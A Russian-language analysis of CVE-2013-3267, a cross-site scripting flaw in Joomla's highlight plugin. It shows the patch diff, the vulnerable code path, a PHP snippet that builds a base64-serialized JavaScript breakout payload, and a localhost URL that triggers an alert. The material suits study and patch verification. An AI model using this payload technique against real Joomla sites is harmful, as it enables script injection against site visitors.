Описание
Согласно [1] уязвимости подвержены версии joomla! версии 2.5.x до 2.5.10 и версии 3.0.x до 3.0.4.
В описании информация о том что причина уязвимости - недостаточная фильтрация в плагине highlighter. Т.е. в данном случае нас интересует исходный код plugins/system/highlight/highlight.php.
Исследование исходного кода
Определим изменения между уязвимой и исправленной версиями joomla:
@@ -58 +58 @@ - $terms = $terms ? unserialize(base64_decode($terms)) : null; + $terms = $terms ? json_decode(base64_decode($terms)) : null; @@ -72 +72 @@ - $cleanTerms[] = $filter->clean($term, 'string'); + $cleanTerms[] = htmlspecialchars($filter->clean($term, 'string'));Теперь разберёмся как работает метод onAfterDispatch класса PlgSystemHighlight в котором сделаны изменения.
Перво наперво проводится несколько разнообразных проверок и достаётся переданный плагину параметр. После чего полученные данные декодируются из base_64 и пропускаются через функцию unserialize:
$terms = $terms ? unserialize(base64_decode($terms)) : null;
Пропускаются через фильтр (метод тыка подсказал что фильтр убирает html теги и экранирует двойную кавычку):
$filter = JFilterInput::getInstance();
$cleanTerms = array();
foreach ($terms as $term)
{
$cleanTerms[] = $filter->clean($term, 'string');
}
В завершение всё выводится с помощью JHtml::_('behavior.highlighter', $cleanTerms);
на страницу в javascript в заголовке страницы:highlighter = new Joomla.Highlighter({
startElement: start,
endElement: end,
className: 'highlight',
onlyWords: false,
tag: 'span'
}).highlight(["$INJECTED_CODE_HERE"]);
где $INJECTED_CODE_HERE - место в которое помещаются данные, переданные в Html::_()Эксплуатация уязвимости
Вкратце про функцию unserialize. Она создаёт php объект из переданной сериализированной (функция serialize) строки. Подробнее можно почитать тут [3].
Получается для того что бы внедрить свои данные на html страницу нам необходимо при обращении к сайту в параметр highlight передать закодированный в base64 сериализованный массив содержащий наш код.
Например если мы хотим вывести простой alert для получения необходимой строки можно воспользоваться следующим php сниппетом.
$arr= Array('none\\"]);
})
alert(7331);
window.addEvent(\'domready\', function () {
// comment');
echo urlencode(base64_encode(serialize($arr)));
Несколько пояснений:Необходимо добавить обратный слеш перед двойной кавычкой чтобы экранировать \ который добавляет фильтр;
Для сохранения корректности JS синтаксиса добавим ']) что бы закрыть скобки в коде.
Для этой же цели необходим фрагмент дальше window.addEvent и комментарий в конце строки.
Теперь проверим получившийся url в браузере
http://localhost/?highlight=YToxOntpOjA7czo4NDoibm9uZVwiXSk7DQp9KQ0KYWxlcnQoNzMzMSk7DQp3aW5kb3cuYWRkRXZlbnQoJ2RvbXJlYWR5JywgZnVuY3Rpb24gKCkgew0KDQovLyBjb21tZW50Ijt9
В результате кусок javascript в заголовке страницы примет такой вид:
highlighter = new Joomla.Highlighter({
startElement: start,
endElement: end,
className: 'highlight',
onlyWords: false,
tag: 'span'
}).highlight(["none\\"]);
})
alert(7331);
window.addEvent('domready', function () {
// comment"]);
start.dispose();
end.dispose();
});
и при открытии страницы в браузере мы увидим долгожданный alert.Ссылки:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3267
[2] http://blog.spiderlabs.com/2013/06/exploiting-serialized-xss-in-joomla-return-of-the-undead-cve.html
[3] http://www.php.net/manual/en/function.unserialize.php